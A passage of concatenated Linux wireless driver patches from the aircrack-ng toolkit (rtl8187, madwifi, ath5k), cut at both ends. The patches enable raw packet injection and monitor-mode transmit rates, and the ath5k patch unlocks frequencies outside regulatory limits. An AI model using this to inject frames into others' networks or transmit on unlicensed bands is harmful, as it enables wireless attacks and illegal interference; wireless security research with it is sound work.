(bytes_per_frag doesn't include prefix, * postfix, header, FCS, etc.) */ - txb = ieee80211_alloc_txb(nr_frags, frag_size, GFP_ATOMIC); + txb = ieee80211_alloc_txb_rtl7(nr_frags, frag_size, GFP_ATOMIC); if (unlikely(!txb)) { printk(KERN_WARNING "%s: Could not allocate TXB\n", ieee->dev->name); @@ -405,93 +410,94 @@ } txb->encrypted = encrypt; txb->payload_size = bytes; - + for (i = 0; i < nr_frags; i++) { skb_frag = txb->fragments[i]; - + if (encrypt) skb_reserve(skb_frag, crypt->ops->extra_prefix_len); - + frag_hdr = (struct ieee80211_hdr *)skb_put(skb_frag, hdr_len); memcpy(frag_hdr, &header, hdr_len); - + /* If this is not the last fragment, then add the MOREFRAGS * bit to the frame control */ if (i != nr_frags - 1) { frag_hdr->frame_ctl = cpu_to_le16( fc | IEEE80211_FCTL_MOREFRAGS); bytes = bytes_per_frag; - + } else { /* The last fragment takes the remaining length */ bytes = bytes_last_frag; } - + frag_hdr->seq_ctl = cpu_to_le16(ieee->seq_ctrl<<4 | i); - - + + /* Put a SNAP header on the first fragment */ if (i == 0) { - ieee80211_put_snap( + ieee80211_put_snap_rtl7( skb_put(skb_frag, SNAP_SIZE + sizeof(u16)), ether_type); bytes -= SNAP_SIZE + sizeof(u16); } - + memcpy(skb_put(skb_frag, bytes), skb->data, bytes); - + /* Advance the SKB... */ skb_pull(skb, bytes); - + /* Encryption routine will move the header forward in order * to insert the IV between the header and the payload */ if (encrypt) - ieee80211_encrypt_fragment(ieee, skb_frag, hdr_len); + ieee80211_encrypt_fragment_rtl7(ieee, skb_frag, hdr_len); if (ieee->config & (CFG_IEEE80211_COMPUTE_FCS | CFG_IEEE80211_RESERVE_FCS)) skb_put(skb_frag, 4); } - // Advance sequence number in data frame. + // Advance sequence number in data frame. if (ieee->seq_ctrl == 0xFFF) ieee->seq_ctrl = 0; else ieee->seq_ctrl++; //--- }else{ - if (unlikely(skb->len < sizeof(struct ieee80211_hdr_3addr))) { +// if (unlikely(skb->len < sizeof(struct ieee80211_hdr_3addr))) { + if (unlikely(skb->len < 14)) { printk(KERN_WARNING "%s: skb too small (%d).\n", ieee->dev->name, skb->len); goto success; } - - txb = ieee80211_alloc_txb(1, skb->len, GFP_ATOMIC); + + txb = ieee80211_alloc_txb_rtl7(1, skb->len, GFP_ATOMIC); if(!txb){ printk(KERN_WARNING "%s: Could not allocate TXB\n", ieee->dev->name); goto failed; } - + txb->encrypted = 0; txb->payload_size = skb->len; memcpy(skb_put(txb->fragments[0],skb->len), skb->data, skb->len); - } + } success: spin_unlock_irqrestore(&ieee->lock, flags); dev_kfree_skb_any(skb); if (txb) { if (ieee->softmac_features & IEEE_SOFTMAC_TX_QUEUE){ - ieee80211_softmac_xmit(txb, ieee); + ieee80211_softmac_xmit_rtl7(txb, ieee); }else{ if ((*ieee->hard_start_xmit)(txb, dev) == 0) { stats->tx_packets++; stats->tx_bytes += txb->payload_size; return 0; } - ieee80211_txb_free(txb); + ieee80211_txb_free_rtl7(txb); } - - + + } return 0; @@ -504,4 +510,4 @@ } -EXPORT_SYMBOL(ieee80211_txb_free); +EXPORT_SYMBOL(ieee80211_txb_free_rtl7); diff -Naur rtl8187_orig/ieee80211/ieee80211_wx.c rtl8187_rawtx/ieee80211/ieee80211_wx.c --- rtl8187_orig/ieee80211/ieee80211_wx.c 2007-03-13 23:45:09.000000000 +0100 +++ rtl8187_rawtx/ieee80211/ieee80211_wx.c 2007-07-13 01:46:05.000000000 +0200 @@ -40,7 +40,7 @@ }; #define MAX_CUSTOM_LEN 64 -static inline char *ipw2100_translate_scan(struct ieee80211_device *ieee, +static inline char *ipw2100_translate_scan_rtl7(struct ieee80211_device *ieee, char *start, char *stop, struct ieee80211_network *network) { @@ -207,7 +207,7 @@ return start; } -int ieee80211_wx_get_scan(struct ieee80211_device *ieee, +int ieee80211_wx_get_scan_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { @@ -220,13 +220,14 @@ IEEE80211_DEBUG_WX("Getting scan\n"); down(&ieee->wx_sem); + printk("GOT WX GET SCAN WX_SEM LOCK"); spin_lock_irqsave(&ieee->lock, flags); list_for_each_entry(network, &ieee->network_list, list) { i++; if (ieee->scan_age == 0 || time_after(network->last_scanned + ieee->scan_age, jiffies)) - ev = ipw2100_translate_scan(ieee, ev, stop, network); + ev = ipw2100_translate_scan_rtl7(ieee, ev, stop, network); else IEEE80211_DEBUG_SCAN( "Not showing network '%s (" @@ -247,7 +248,7 @@ return 0; } -int ieee80211_wx_set_encode(struct ieee80211_device *ieee, +int ieee80211_wx_set_encode_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *keybuf) { @@ -259,6 +260,9 @@ int i, key, key_provided, len; struct ieee80211_crypt_data **crypt; + if (erq->flags & IW_ENCODE_RESTRICTED) + return -EINVAL; + IEEE80211_DEBUG_WX("SET_ENCODE\n"); key = erq->flags & IW_ENCODE_INDEX; @@ -281,7 +285,7 @@ if (key_provided && *crypt) { IEEE80211_DEBUG_WX("Disabling encryption on key %d.\n", key); - ieee80211_crypt_delayed_deinit(ieee, crypt); + ieee80211_crypt_delayed_deinit_rtl7(ieee, crypt); } else IEEE80211_DEBUG_WX("Disabling encryption.\n"); @@ -291,7 +295,7 @@ if (ieee->crypt[i] != NULL) { if (key_provided) break; - ieee80211_crypt_delayed_deinit( + ieee80211_crypt_delayed_deinit_rtl7( ieee, &ieee->crypt[i]); } } @@ -314,7 +318,7 @@ strcmp((*crypt)->ops->name, "WEP") != 0) { /* changing to use WEP; deinit previously used algorithm * on this key */ - ieee80211_crypt_delayed_deinit(ieee, crypt); + ieee80211_crypt_delayed_deinit_rtl7(ieee, crypt); } if (*crypt == NULL) { @@ -326,10 +330,10 @@ if (new_crypt == NULL) return -ENOMEM; memset(new_crypt, 0, sizeof(struct ieee80211_crypt_data)); - new_crypt->ops = ieee80211_get_crypto_ops("WEP"); + new_crypt->ops = ieee80211_get_crypto_ops_rtl7("WEP"); if (!new_crypt->ops) { - request_module("ieee80211_crypt_wep"); - new_crypt->ops = ieee80211_get_crypto_ops("WEP"); + request_module("ieee80211_crypt_wep_rtl"); + new_crypt->ops = ieee80211_get_crypto_ops_rtl7("WEP"); } if (new_crypt->ops && try_module_get(new_crypt->ops->owner)) @@ -340,7 +344,7 @@ new_crypt = NULL; printk(KERN_WARNING "%s: could not initialize WEP: " - "load module ieee80211_crypt_wep\n", + "load module ieee80211_crypt_wep_rtl\n", dev->name); return -EOPNOTSUPP; } @@ -418,7 +422,7 @@ return 0; } -int ieee80211_wx_get_encode(struct ieee80211_device *ieee, +int ieee80211_wx_get_encode_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *keybuf) { @@ -430,7 +434,7 @@ if(ieee->iw_mode == IW_MODE_MONITOR) return -1; - + key = erq->flags & IW_ENCODE_INDEX; if (key) { if (key > WEP_KEYS) @@ -470,6 +474,6 @@ } -EXPORT_SYMBOL(ieee80211_wx_get_scan); -EXPORT_SYMBOL(ieee80211_wx_set_encode); -EXPORT_SYMBOL(ieee80211_wx_get_encode); +EXPORT_SYMBOL(ieee80211_wx_get_scan_rtl7); +EXPORT_SYMBOL(ieee80211_wx_set_encode_rtl7); +EXPORT_SYMBOL(ieee80211_wx_get_encode_rtl7); diff -Naur rtl8187_orig/ieee80211/Makefile rtl8187_rawtx/ieee80211/Makefile --- rtl8187_orig/ieee80211/Makefile 2007-03-13 23:45:09.000000000 +0100 +++ rtl8187_rawtx/ieee80211/Makefile 2007-05-27 10:47:26.000000000 +0200 @@ -17,6 +17,7 @@ KVER := $(shell uname -r) KSRC := /lib/modules/$(KVER)/build INSTALL_PREFIX := +PWD = $(shell pwd) all: modules diff -Naur rtl8187_orig/ieee80211/Modules.symvers rtl8187_rawtx/ieee80211/Modules.symvers --- rtl8187_orig/ieee80211/Modules.symvers 2007-03-13 23:45:09.000000000 +0100 +++ rtl8187_rawtx/ieee80211/Modules.symvers 1970-01-01 01:00:00.000000000 +0100 @@ -1,43 +0,0 @@ -0x232e7944 ieee80211_wlan_frequencies /home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl -0xaeae102f free_ieee80211_rtl /usr/rtl8187_linux_2.6_05312006/ieee80211/ieee80211-rtl -0x279e265f ieee80211_crypt_deinit_handler net/ieee80211/ieee80211_crypt -0xc2411d91 ieee80211_stop_queue /home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl -0x6ece20e1 ieee80211_wx_get_name_rtl /usr/rtl8187_linux_2.6_05312006/ieee80211/ieee80211-rtl -0x5d3847ff ieee80211_rx_rtl /home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl -0x18612027 ieee80211_wx_get_scan_rtl /home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl -0xa0e03ce1 ieee80211_wx_get_name /home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl -0xee25f349 ieee80211_wx_get_mode /home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl -0x86013c3d ieee80211_wx_set_mode /home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl -0x04493cc0 ieee80211_wx_get_rate /home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl -0x6c6df3b4 ieee80211_wx_set_rate /home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl -0x82caec02 ieee80211_crypt_deinit_entries net/ieee80211/ieee80211_crypt -0x347945bf ieee80211_wx_get_power /home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl -0x6379d455 ieee80211_wx_set_power /home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl -0xae62ed59 ieee80211_wx_set_scan /home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl -0x6621e172 ieee80211_wx_set_freq /home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl -0x0e052e06 ieee80211_wx_get_freq /home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl -0x283f9f5d ieee80211_unregister_crypto_ops net/ieee80211/ieee80211_crypt -0x9da79aac ieee80211_is_shortslot /home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl -0x666032dc ieee80211_wx_get_wap /home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl -0x9f1cbe0e ieee80211_wx_set_wap /home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl -0x73d1d341 ieee80211_wx_set_rawtx /home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl -0x2c714184 ieee80211_is_54g /home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl -0x6892d598 ieee80211_wpa_supplicant_ioctl /home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl -0xc062f1f5 ieee80211_ps_tx_ack /home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl -0x55534906 ieee80211_get_beacon /home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl -0xe2679638 ieee80211_crypt_delayed_deinit net/ieee80211/ieee80211_crypt -0x3a0456bc free_ieee80211 net/ieee80211/ieee80211 -0x7e1ef2c8 ieee80211_wake_queue /home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl -0xc1b81e9f ieee80211_register_crypto_ops net/ieee80211/ieee80211_crypt -0x3f795a39 alloc_ieee80211 net/ieee80211/ieee80211 -0x89803c23 ieee80211_get_crypto_ops net/ieee80211/ieee80211_crypt -0xc6caf2a4 ieee80211_txb_free net/ieee80211/ieee80211 -0x49c1422c ieee80211_rx_mgt net/ieee80211/ieee80211 -0xbf2b4ebd alloc_ieee80211_rtl /usr/rtl8187_linux_2.6_05312006/ieee80211/ieee80211-rtl -0xd155f7b8 ieee80211_softmac_stop_protocol /home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl -0x9ce2dcde ieee80211_softmac_start_protocol /home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl -0x00d74bba ieee80211_wx_get_encode_rtl /home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl -0x92b5d996 ieee80211_wx_set_encode_rtl /home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl -0x2ac9bf95 ieee80211_wx_set_essid /home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl -0x7dc92e7f ieee80211_wx_get_essid /home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl -0xd04740ca ieee80211_reset_queue /home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl diff -Naur rtl8187_orig/Makefile rtl8187_rawtx/Makefile --- rtl8187_orig/Makefile 1970-01-01 01:00:00.000000000 +0100 +++ rtl8187_rawtx/Makefile 2007-06-21 23:43:15.000000000 +0200 @@ -0,0 +1,39 @@ +prefix = /lib/modules/$(shell uname -r)/kernel/drivers/net/wireless +r8187dir = $(prefix)/rtl8187 +ieeedir = $(prefix)/rtl_ieee80211 + +default: all + +all: + -rm -f ieee80211/Module.symvers 2>/dev/null + -rm -f ieee80211/Modules.symvers 2>/dev/null + $(MAKE) -C ieee80211 $(@) + -chmod +x symvers + -./symvers + $(MAKE) -C beta-8187 $(@) + +install: + install -d $(ieeedir) + install -d $(r8187dir) + install -m 644 ./ieee80211/*.ko $(ieeedir) + install -m 644 ./beta-8187/*.ko $(r8187dir) + -find /lib/modules/$(shell uname -r) -name rtl8187.ko -exec mv -v {} ~/ \; + -depmod -ae + +uninstall: + -rm -f $(ieeedir)/ieee80211-rtl.ko + -rm -f $(ieeedir)/ieee80211_crypt-rtl.ko + -rm -f $(ieeedir)/ieee80211_crypt_ccmp-rtl.ko + -rm -f $(ieeedir)/ieee80211_crypt_tkip-rtl.ko + -rm -f $(ieeedir)/ieee80211_crypt_wep-rtl.ko + -rm -f $(r8187dir)/r8187.ko + -rm -fr $(ieeedir) + -rm -fr $(r8187dir) + -depmod -ae + +clean: + $(MAKE) -C ieee80211 $(@) + $(MAKE) -C beta-8187 $(@) + +distclean: clean + diff -Naur rtl8187_orig/symvers rtl8187_rawtx/symvers --- rtl8187_orig/symvers 1970-01-01 01:00:00.000000000 +0100 +++ rtl8187_rawtx/symvers 2007-05-26 10:39:22.000000000 +0200 @@ -0,0 +1,25 @@ +#!/bin/sh + +cd beta-8187 + +if [ -e Module.symvers ] +then + rm Module.symvers +fi + +if [ -e Modules.symvers ] +then + rm Modules.symvers +fi + +if [ -e ../ieee80211/Module.symvers ] +then + ln -sf ../ieee80211/Module.symvers ./ +fi + +if [ -e ../ieee80211/Modules.symvers ] +then + ln -sf ../ieee80211/Modules.symvers ./ +fi + +cd .. diff -Naur rtl8187_orig/wlan0rmv rtl8187_rawtx/wlan0rmv --- rtl8187_orig/wlan0rmv 2007-03-13 23:45:09.000000000 +0100 +++ rtl8187_rawtx/wlan0rmv 2007-06-26 16:32:43.000000000 +0200 @@ -1,5 +1,9 @@ #!/bin/bash -rmmod r8180 -rmmod ieee80211_r8180 -rmmod ieee80211_crypt_r8180 +rmmod rtl8187 2>/dev/null +rmmod r8187 2>/dev/null +rmmod ieee80211_rtl 2>/dev/null +rmmod ieee80211_crypt_ccmp_rtl 2>/dev/null +rmmod ieee80211_crypt_tkip_rtl 2>/dev/null +rmmod ieee80211_crypt_wep_rtl 2>/dev/null +rmmod ieee80211_crypt_rtl 2>/dev/null aircrack-ng-1.1/patches/old/madwifi-cvs-20050814.patch0000644000000000000000000000714510761053203020576 0ustar rootrootdiff -ur ../madwifi-cvs-20050814/ath/if_ath.c ./ath/if_ath.c --- ../madwifi-cvs-20050814/ath/if_ath.c 2005-08-08 02:35:12.000000000 +0200 +++ ./ath/if_ath.c 2005-08-14 21:31:07.000000000 +0200 @@ -1435,7 +1435,7 @@ rt = sc->sc_currates; KASSERT(rt != NULL, ("no rate table, mode %u", sc->sc_curmode)); flags = HAL_TXDESC_INTREQ | HAL_TXDESC_CLRDMASK; - try0 = ATH_TXMAXTRY; + try0 = (ic->ic_opmode == IEEE80211_M_MONITOR) ? 1 : ATH_TXMAXTRY; dot11Rate = 0; ctsrate = 0; ctsduration = 0; @@ -1500,6 +1500,13 @@ } } + if (dot11Rate == 0 && ic->ic_opmode == IEEE80211_M_MONITOR) { + int index = sc->sc_rixmap[ic->inject_rate / 500]; + if (index >= 0 && index < rt->rateCount) { + txrate = rt->info[index].rateCode; + } + } + wh = (struct ieee80211_frame *) skb->data; pktlen = skb->len + IEEE80211_CRC_LEN; hdrlen = sizeof(struct ieee80211_frame); diff -ur ../madwifi-cvs-20050814/Makefile.inc ./Makefile.inc --- ../madwifi-cvs-20050814/Makefile.inc 2005-07-14 02:35:49.000000000 +0200 +++ ./Makefile.inc 2005-08-15 10:31:16.000000000 +0200 @@ -174,7 +174,7 @@ # #ATH_RATE=$(shell find ath_rate/ -maxdepth 1 ! -name CVS ! -name ath_rate/ -type d) ifeq ($(ATH_RATE),) -ATH_RATE=ath_rate/sample +ATH_RATE=ath_rate/onoe endif INCS= -include ${obj}/${DEPTH}/include/compat.h -I${obj}/${DEPTH}/include diff -ur ../madwifi-cvs-20050814/net80211/ieee80211_crypto.c ./net80211/ieee80211_crypto.c --- ../madwifi-cvs-20050814/net80211/ieee80211_crypto.c 2005-07-13 02:35:12.000000000 +0200 +++ ./net80211/ieee80211_crypto.c 2005-08-15 13:54:21.000000000 +0200 @@ -299,6 +299,10 @@ oflags = key->wk_flags; flags &= IEEE80211_KEY_COMMON; + + if (cipher == IEEE80211_CIPHER_WEP) + flags |= IEEE80211_KEY_SWCRYPT; + /* * If the hardware does not support the cipher then * fallback to a host-based implementation. diff -ur ../madwifi-cvs-20050814/net80211/ieee80211_var.h ./net80211/ieee80211_var.h --- ../madwifi-cvs-20050814/net80211/ieee80211_var.h 2005-07-16 02:35:11.000000000 +0200 +++ ./net80211/ieee80211_var.h 2005-08-14 21:16:37.000000000 +0200 @@ -207,6 +207,8 @@ struct timer_list ic_radar_reanimate; /* reanimation timer after stopping all channels after redar detection */ u_int32_t ic_channelList[IEEE80211_CHAN_MAX]; + + int inject_rate; /* injection rate in Monitor mode */ }; #define IEEE80211_ADDR_EQ(a1,a2) (memcmp(a1,a2,IEEE80211_ADDR_LEN) == 0) diff -ur ../madwifi-cvs-20050814/net80211/ieee80211_wireless.c ./net80211/ieee80211_wireless.c --- ../madwifi-cvs-20050814/net80211/ieee80211_wireless.c 2005-08-07 02:35:13.000000000 +0200 +++ ./net80211/ieee80211_wireless.c 2005-08-14 21:15:51.000000000 +0200 @@ -476,6 +476,18 @@ struct ifreq ifr; int rate; + if (ic->ic_opmode == IEEE80211_M_MONITOR) { + rate = rrq->value / 1000; + if (rate != 1000 && rate != 2000 && rate != 5500 && + rate != 11000 && rate != 6000 && rate != 9000 && + rate != 12000 && rate != 18000 && rate != 24000 && + rate != 36000 && rate != 48000 && rate != 54000 ) + return -EINVAL; + printk(KERN_DEBUG "setting xmit rate to %d\n", rate); + ic->inject_rate = rate; + return 0; + } + if (!ic->ic_media.ifm_cur) return -EINVAL; memset(&ifr, 0, sizeof(ifr)); @@ -502,6 +514,11 @@ struct ifmediareq imr; int rate; + if (ic->ic_opmode == IEEE80211_M_MONITOR) { + rrq->value = ic->inject_rate * 1000; + return 0; + } + memset(&imr, 0, sizeof(imr)); (*ic->ic_media.ifm_status)(ic->ic_dev, &imr); @@ -942,6 +959,7 @@ #if WIRELESS_EXT >= 15 case IW_MODE_MONITOR: ifr.ifr_media |= IFM_IEEE80211_MONITOR; + ic->inject_rate = 5500; /* default = 5.5M CCK */ break; #endif default: aircrack-ng-1.1/patches/old/ath5k-frequency-chaos-2.6.27-gentoo-r2.patch0000644000000000000000000001555611143173567024156 0ustar rootrootThis patch allows for highly extended frequency settings for Atheros wifi cards. I have tested and confirmed the frequencies as best as I can. Monitoring should be safe, but transmitting will most likely lead to the fcc paying you a vist. I have done all I can to stop you from accidently getting in trouble, the rest is up to you. -ZC ----------------------------------------------------------------------------------- diff -Naur linux-2.6.27-gentoo-r2/drivers/net/wireless/ath5k/ath5k.h linux-2.6.27-gentoo-r2-afc/drivers/net/wireless/ath5k/ath5k.h --- linux-2.6.27-gentoo-r2/drivers/net/wireless/ath5k/ath5k.h 2008-10-09 18:13:53.000000000 -0400 +++ linux-2.6.27-gentoo-r2-afc/drivers/net/wireless/ath5k/ath5k.h 2008-11-12 23:19:12.000000000 -0500 @@ -23,7 +23,7 @@ * long and results timeouts). It's also illegal to tune to some of the * supported frequencies in some countries, so use this at your own risk, * you've been warned. */ -#define CHAN_DEBUG 0 +#define CHAN_DEBUG 1 #include #include diff -Naur linux-2.6.27-gentoo-r2/drivers/net/wireless/ath5k/base.c linux-2.6.27-gentoo-r2-afc/drivers/net/wireless/ath5k/base.c --- linux-2.6.27-gentoo-r2/drivers/net/wireless/ath5k/base.c 2008-10-09 18:13:53.000000000 -0400 +++ linux-2.6.27-gentoo-r2-afc/drivers/net/wireless/ath5k/base.c 2008-11-12 23:19:12.000000000 -0500 @@ -217,7 +217,7 @@ static void ath5k_detach(struct pci_dev *pdev, struct ieee80211_hw *hw); /* Channel/mode setup */ -static inline short ath5k_ieee2mhz(short chan); +static inline short ath5k_ieee2mhz(int chan, unsigned int chfreq); static unsigned int ath5k_copy_rates(struct ieee80211_rate *rates, const struct ath5k_rate_table *rt, unsigned int max); @@ -804,12 +804,15 @@ * Convert IEEE channel number to MHz frequency. */ static inline short -ath5k_ieee2mhz(short chan) +ath5k_ieee2mhz(int chan, unsigned int chfreq) { - if (chan <= 14 || chan >= 27) - return ieee80211chan2mhz(chan); + if (chfreq == CHANNEL_5GHZ) + return (chan + 1000) * 5; else - return 2212 + chan * 20; + if (chan <= 14 || chan >= 27) + return ieee80211chan2mhz(chan); + else + return 2212 + chan * 20; } static unsigned int @@ -839,7 +842,8 @@ unsigned int mode, unsigned int max) { - unsigned int i, count, size, chfreq, freq, ch; + unsigned int i, count, size, chfreq, freq; + int ch; if (!test_bit(mode, ah->ah_modes)) return 0; @@ -847,14 +851,17 @@ switch (mode) { case AR5K_MODE_11A: case AR5K_MODE_11A_TURBO: - /* 1..220, but 2GHz frequencies are filtered by check_channel */ - size = 220 ; + /* -16..220 */ + size = 241 ; + ch = -40; chfreq = CHANNEL_5GHZ; break; case AR5K_MODE_11B: case AR5K_MODE_11G: case AR5K_MODE_11G_TURBO: - size = 26; + /* -19..26 */ + size = 70; + ch = -42; chfreq = CHANNEL_2GHZ; break; default: @@ -862,9 +869,8 @@ return 0; } - for (i = 0, count = 0; i < size && max > 0; i++) { - ch = i + 1 ; - freq = ath5k_ieee2mhz(ch); + for (i = 0, count = 0; i < size && max > 0; i++,ch++) { + freq = ath5k_ieee2mhz(ch,chfreq); /* Check if channel is supported by the chipset */ if (!ath5k_channel_ok(ah, freq, chfreq)) diff -Naur linux-2.6.27-gentoo-r2/drivers/net/wireless/ath5k/base.h linux-2.6.27-gentoo-r2-afc/drivers/net/wireless/ath5k/base.h --- linux-2.6.27-gentoo-r2/drivers/net/wireless/ath5k/base.h 2008-10-09 18:13:53.000000000 -0400 +++ linux-2.6.27-gentoo-r2-afc/drivers/net/wireless/ath5k/base.h 2008-11-12 23:27:26.000000000 -0500 @@ -51,8 +51,8 @@ #include "debug.h" #define ATH_RXBUF 40 /* number of RX buffers */ -#define ATH_TXBUF 200 /* number of TX buffers */ -#define ATH_BCBUF 1 /* number of beacon buffers */ +#define ATH_TXBUF 0 /* number of TX buffers */ +#define ATH_BCBUF 0 /* number of beacon buffers */ struct ath5k_buf { struct list_head list; diff -Naur linux-2.6.27-gentoo-r2/drivers/net/wireless/ath5k/hw.c linux-2.6.27-gentoo-r2-afc/drivers/net/wireless/ath5k/hw.c --- linux-2.6.27-gentoo-r2/drivers/net/wireless/ath5k/hw.c 2008-10-09 18:13:53.000000000 -0400 +++ linux-2.6.27-gentoo-r2-afc/drivers/net/wireless/ath5k/hw.c 2008-11-12 23:21:29.000000000 -0500 @@ -2319,8 +2319,9 @@ */ if (AR5K_EEPROM_HDR_11A(ee_header)) { - ah->ah_capabilities.cap_range.range_5ghz_min = 5005; /* 4920 */ - ah->ah_capabilities.cap_range.range_5ghz_max = 6100; + ah->ah_capabilities.cap_range.range_5ghz_min = 4800; /* 4920 */ + ah->ah_capabilities.cap_range.range_5ghz_max = 6000; /* 6100 is what the code said but */ + /* it fried one of my cards */ /* Set supported modes */ __set_bit(AR5K_MODE_11A, @@ -2336,8 +2337,8 @@ * connected */ if (AR5K_EEPROM_HDR_11B(ee_header) || AR5K_EEPROM_HDR_11G(ee_header)) { - ah->ah_capabilities.cap_range.range_2ghz_min = 2412; /* 2312 */ - ah->ah_capabilities.cap_range.range_2ghz_max = 2732; + ah->ah_capabilities.cap_range.range_2ghz_min = 2192; /* 2312 */ + ah->ah_capabilities.cap_range.range_2ghz_max = 2737; /* 2732 */ if (AR5K_EEPROM_HDR_11B(ee_header)) __set_bit(AR5K_MODE_11B, @@ -2379,24 +2380,6 @@ ATH5K_TRACE(ah->ah_sc); switch (ah->ah_op_mode) { - case IEEE80211_IF_TYPE_IBSS: - pcu_reg |= AR5K_STA_ID1_ADHOC | AR5K_STA_ID1_DESC_ANTENNA | - (ah->ah_version == AR5K_AR5210 ? - AR5K_STA_ID1_NO_PSPOLL : 0); - beacon_reg |= AR5K_BCR_ADHOC; - break; - - case IEEE80211_IF_TYPE_AP: - pcu_reg |= AR5K_STA_ID1_AP | AR5K_STA_ID1_RTS_DEF_ANTENNA | - (ah->ah_version == AR5K_AR5210 ? - AR5K_STA_ID1_NO_PSPOLL : 0); - beacon_reg |= AR5K_BCR_AP; - break; - - case IEEE80211_IF_TYPE_STA: - pcu_reg |= AR5K_STA_ID1_DEFAULT_ANTENNA | - (ah->ah_version == AR5K_AR5210 ? - AR5K_STA_ID1_PWR_SV : 0); case IEEE80211_IF_TYPE_MNTR: pcu_reg |= AR5K_STA_ID1_DEFAULT_ANTENNA | (ah->ah_version == AR5K_AR5210 ? diff -Naur linux-2.6.27-gentoo-r2/net/wireless/reg.c linux-2.6.27-gentoo-r2-afc/net/wireless/reg.c --- linux-2.6.27-gentoo-r2/net/wireless/reg.c 2008-10-09 18:13:53.000000000 -0400 +++ linux-2.6.27-gentoo-r2-afc/net/wireless/reg.c 2008-11-12 23:23:53.000000000 -0500 @@ -70,6 +70,22 @@ RANGE_PWR(5745, 5825, 30, 6, 0), }; +static const struct ieee80211_channel_range ieee80211_DEBUG_channels[] = { +/* + * WARNING: These values are strictly based on my own limited testing. + * This does not seem to damage MY cards in the limited time I was testing. + * Monitor mode tuning of these channels *should* be 100% safe, however, + * ANY transmissions may not only permanently damage your card, it may also + * bring the feds down on you. + * + */ + /* IEEE 802.11b/g, channels -42..26 */ + RANGE_PWR(2192, 2732, 1, 6, 0), + /* IEEE 802.11a, channels -40..240, outdoor */ + RANGE_PWR(4800, 6000, 1, 6, 0), +}; + + static const struct ieee80211_channel_range ieee80211_JP_channels[] = { /* IEEE 802.11b/g, channels 1..14 */ RANGE_PWR(2412, 2484, 20, 6, 0), @@ -108,6 +124,7 @@ REGDOM(US), REGDOM(JP), REGDOM(EU), + REGDOM(DEBUG), }; aircrack-ng-1.1/patches/old/rtl8187_2.6.24v3.patch0000644000000000000000000155166111050354367017716 0ustar rootrootdiff -Naur rtl8187_linux_26.1010.0622.2006/beta-8187/ieee80211_crypt.h rtl8187_linux_26.1010.0622.2006_rawtx/beta-8187/ieee80211_crypt.h --- rtl8187_linux_26.1010.0622.2006/beta-8187/ieee80211_crypt.h 2006-06-06 04:58:02.000000000 +0200 +++ rtl8187_linux_26.1010.0622.2006_rawtx/beta-8187/ieee80211_crypt.h 2008-01-30 17:38:10.000000000 +0100 @@ -75,12 +75,12 @@ atomic_t refcnt; }; -int ieee80211_register_crypto_ops(struct ieee80211_crypto_ops *ops); -int ieee80211_unregister_crypto_ops(struct ieee80211_crypto_ops *ops); -struct ieee80211_crypto_ops * ieee80211_get_crypto_ops(const char *name); -void ieee80211_crypt_deinit_entries(struct ieee80211_device *, int); -void ieee80211_crypt_deinit_handler(unsigned long); -void ieee80211_crypt_delayed_deinit(struct ieee80211_device *ieee, +int ieee80211_register_crypto_ops_rtl7(struct ieee80211_crypto_ops *ops); +int ieee80211_unregister_crypto_ops_rtl7(struct ieee80211_crypto_ops *ops); +struct ieee80211_crypto_ops * ieee80211_get_crypto_ops_rtl7(const char *name); +void ieee80211_crypt_deinit_entries_rtl7(struct ieee80211_device *, int); +void ieee80211_crypt_deinit_handler_rtl7(unsigned long); +void ieee80211_crypt_delayed_deinit_rtl7(struct ieee80211_device *ieee, struct ieee80211_crypt_data **crypt); #endif diff -Naur rtl8187_linux_26.1010.0622.2006/beta-8187/ieee80211.h rtl8187_linux_26.1010.0622.2006_rawtx/beta-8187/ieee80211.h --- rtl8187_linux_26.1010.0622.2006/beta-8187/ieee80211.h 2006-06-06 04:58:02.000000000 +0200 +++ rtl8187_linux_26.1010.0622.2006_rawtx/beta-8187/ieee80211.h 